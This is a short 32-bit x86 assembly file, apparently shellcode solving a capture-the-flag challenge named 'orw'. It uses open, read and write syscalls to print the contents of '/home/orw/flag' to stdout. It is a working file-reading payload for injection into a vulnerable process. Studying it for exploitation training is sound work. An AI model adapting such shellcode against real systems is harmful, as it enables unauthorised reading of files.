bits 32

section .text
global _start

_start:
    jmp filename

_open:                  ; fd = open(filename, O_RDONLY)
    pop ebx             ; filename's address
    mov ecx, 0x0        ; O_RDONLY
    mov eax, 0x05       ; syscall id for open
    int 0x80

    jmp buffer

_read:                  ; read(fd, buffer, 0x64)
    mov ebx, eax        ; fd
    pop ecx             ; buffer's address
    push ecx            ; buffer's address to be used by write
    mov edx, 0x64       ; size
    mov eax, 0x03       ; syscall id for read
    int 0x80

_write:                 ; write(1, buffer, 0x64)
    mov ebx, 0x01       ; stdout
    pop ecx             ; buffer's address
    mov edx, 0x64       ; size
    mov eax, 0x04       ; syscall id for write
    int 0x80

    jmp _exit

filename:
    call _open
    db "/home/orw/flag", 0x00

buffer:
    call _read
    db ""

_exit:
